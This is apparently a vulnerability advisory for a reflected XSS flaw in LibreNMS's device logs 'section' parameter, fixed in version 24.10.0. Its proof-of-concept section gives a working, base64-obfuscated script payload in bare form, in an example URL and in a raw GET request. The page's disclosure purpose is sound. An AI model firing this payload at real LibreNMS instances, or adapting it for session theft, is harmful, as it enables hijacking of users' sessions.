LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/functions.php
Summary
A Reflected Cross-Site Scripting (XSS) vulnerability in the "section" parameter of the "logs" tab of a device allows attackers to inject arbitrary JavaScript. This vulnerability results in the execution of malicious code when a user accesses the page with a malicious "section" parameter, potentially compromising their session and enabling unauthorized actions. The issue arises from a lack of sanitization in the "report_this()" function.
Details
The "section" parameter of the "logs" tab is vulnerable to reflected XSS. An attacker can inject the following XSS payload into the "section" parameter:
<script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<%2fscript>
When the page is loaded with this malicious parameter, the script executes immediately. This vulnerability occurs due to the lack of sanitization in the "report_this()" function. Other endpoints using this same function may also be vulnerable.
The vulnerable sink is located here: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/functions.php#L523 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/logs.inc.php#L93
PoC
- Inject the following payload into the "section" parameter of the "logs" tab:
<script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<%2fscript> - Access the page with the injected payload.
- Observe that the injected script executes when the page is loaded.
Example URL: http://<your_url>/device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/
Example Request:
GET /device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/ HTTP/1.1
Host: <your_host>
Cookie: <your_cookie>Impact
This vulnerability allows attackers to execute arbitrary JavaScript in the context of a user’s session by crafting a malicious URL. The attack could lead to session hijacking, unauthorized actions, or further exploitation by injecting malicious scripts.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | librenms/librenms | < 24.10.0 | 24.10.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
librenms/librenms- Disclosed
- 15.11.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-v7w9-63xh-6r3w - CC BY 4.0
Vulnerability history: librenms/librenms
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- Total entries
- 106
- First → latest
- 10.2019 08.2026
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 39
- Medium 56
- Low 6
Disclosures per year
- 2019: 6
- 2020: 0
- 2021: 7
- 2022: 26
- 2023: 12
- 2024: 24
- 2025: 15
- 2026: 16
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